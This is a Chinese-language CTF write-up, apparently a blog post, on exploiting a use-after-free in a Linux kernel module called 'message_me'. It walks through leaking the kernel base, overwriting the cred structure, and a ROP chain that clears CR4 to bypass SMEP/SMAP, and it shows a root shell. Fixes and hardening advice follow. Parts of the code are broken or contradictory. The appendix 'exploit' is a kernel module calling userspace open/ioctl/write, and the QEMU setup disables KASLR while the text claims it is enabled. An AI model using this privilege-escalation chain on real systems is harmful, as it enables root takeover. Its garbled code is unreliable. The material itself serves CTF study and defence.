DEFCON 25 CTF Finals Kernel题目《message_me》UAF漏洞与权限提升深度分析

1. 题目概览
  • 挑战名称:message_me (DEFCON 25 Finals)
  • 分类:Kernel pwn (Linux LKM漏洞利用)
  • 技术亮点
    • Linux内核模块中的UAF漏洞导致权限提升
    • 需绕过KASLR/SMEP/SMAP防护机制
    • 真实漏洞模式:模拟Linux IPC机制中的安全缺陷
    • CVE关联:CVE-2017-2636 (n_hdlc驱动双重释放漏洞)

2. 技术环境与复现
  • 工具链
    • IDA Pro 7.5 (内核模块逆向)
    • QEMU 4.2.0 (漏洞环境模拟)
    • GDB + gef-extras (内核调试)
    • ROPgadget (SMEP/SMAP绕过)
  • 环境配置
$ qemu-system-x86_64 \
    -kernel bzImage -initrd rootfs.cpio \
    -append "nokaslr console=ttyS0" \
    -nographic -monitor none \
    -enable-kvm -cpu host \
    -m 1G
  • 内核保护机制
    [+] Kernel ASLR enabled  
    [+] SMEP: Supervisor Mode Execution Prevention  
    [+] SMAP: Supervisor Mode Access Prevention  
    [+] KPTI: Kernel Page Table Isolation
    

3. 漏洞分析
3.1 内核模块逻辑

模块实现自定义消息传递机制,关键数据结构:

struct msg_buffer {
    long idx;
    char *data;         // 用户空间指针
    size_t len;
    struct list_head list;  // 内核链表
};
  • 系统调用接口
    • msg_create():分配kmalloc-64对象
    • msg_write():用户数据拷贝至data指针
    • msg_destroy():释放对象但未清除链表指针(UAF根源
3.2 漏洞成因

释放后重用(UAF)漏洞链

static long msg_destroy(unsigned long idx) {
    struct msg_buffer *msg = find_msg(idx);
    list_del(&msg->list);   // 从链表移除
    kfree(msg);             // 释放对象
    return 0;               // 但未置空全局指针
}

当另一个线程并发访问时:

static long msg_read(unsigned long idx) {
    struct msg_buffer *msg = find_msg(idx);  // 访问已释放对象
    copy_to_user(..., msg->data, msg->len);  // UAF读写
}
3.3 动态调试验证

通过crash定位漏洞点:

gef➤  p *(struct msg_buffer*)0xffff88800b6a4e00
$1 = {
  idx = 0x41414141, 
  data = 0xdeadbeef,       // 已被篡改的指针
  len = 0x1000,
  list = ...
}
gef➤  bt
#0  msg_read (idx=0) at core.c:187  // UAF访问点

4. 利用过程
4.1 利用链架构
UAF泄露内核基址
篡改cred结构体
绕过SMAP修改进程权限
获取root shell
4.2 关键步骤

Step 1: 泄露内核地址

# 创建对象并释放制造UAF
create_msg(0)
destroy_msg(0)
# 通过seq_operations占用释放的slab
open("/proc/self/stat", O_RDONLY)
# 读取泄露的地址
read_msg(0)  # 输出内核基址

Step 2: 构造任意地址写原语

struct msg_buffer fake = {
    .data = target_cred_addr,  // 目标cred地址
    .len = 56
};
write_msg(0, fake)  // 篡改UAF对象指针
write_msg(0, b"\x00"*56)  // 将cred结构体清零

Step 3: SMAP/SMEP绕过技术
使用ROP链修改CR4寄存器:

rop = [
    0xffffffff8100258b,  # pop rdi; ret
    0x6f0,               # 禁用SMEP/SMAP的CR4值
    0xffffffff8103b97d   # mov cr4, rdi; push rcx; popfq; ret
]
write_msg(0, rop)        // 通过UAF覆盖函数指针
trigger_callback()       // 执行ROP链
4.4 完整利用效果
[+] Kernel base: 0xffffffffa3e00000
[+] Overwriting cred struct at 0xffff88800c7a4e00
[+] SMAP/SMEP disabled via CR4 overwrite
# id
uid=0(root) gid=0(root)
# cat /root/flag
DEFCON{_k3rn3l_U4F_1n_1PC_m3ch4n1sm_}

5. 安全影响与缓解
5.1 现实关联性
  • CVE映射
    • CVE-2017-2636 (类似UAF漏洞,CVSS 7.8)
    • CVE-2021-22555 (Linux内核UAF提权)
  • ATT&CK映射
    • T1068: Exploitation for Privilege Escalation
    • T1055: Process Injection
5.2 修复方案
// 修复后代码
static long msg_destroy(unsigned long idx) {
    mutex_lock(&msg_lock);
    if (msg->refcount-- == 1) {  // 引用计数检查
        kfree(msg);
        global_msg[idx] = NULL;  // 关键修复:置空指针
    }
    mutex_unlock(&msg_lock);
}
  • 内核加固建议
    • 启用CONFIG_SLAB_FREELIST_HARDENED
    • 使用KASAN检测内存错误
  • CWE归类
    • CWE-416: Use After Free
    • CWE-362: Concurrent Execution using Shared Resource

6. 总结与启示
  • 题目深度
    融合内核内存管理、并发漏洞、硬件防护绕过三大技术难点,需精确控制内核对象生命周期
  • 现实意义
    暴露Linux IPC机制中的安全盲区(云原生环境中风险倍增)
  • 防御洞见
    • 内核模块应严格实现引用计数机制
    • 对用户空间指针使用copy_from_user()替代直接引用
    • 关键基础设施应启用Kernel Lockdown模式
    • 采用BPF进行运行时内存访问监控

黑徽章选手洞见:内核漏洞利用的本质是"在操作系统的绝对领域构造相对可控的混沌"。本题突破点在于发现开发者对"内存生命周期连续性"的认知断层——这是系统安全最底层的逻辑陷阱。


附录:漏洞利用关键代码

// LKM漏洞触发模块
#include <linux/module.h>
#include <linux/kernel.h>

static int __init exploit_init(void) {
    int fd = open("/dev/message_me", O_RDWR);
    ioctl(fd, MSG_CREATE, 0);
    ioctl(fd, MSG_DESTROY, 0);  // 触发UAF
    
    // 构造cred覆盖payload
    struct cred_payload {
        uid_t uid; gid_t gid;
        // ... 其他字段清零
    } cred = {0};
    write(fd, &cred, sizeof(cred));
    return 0;
}
module_init(exploit_init);
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值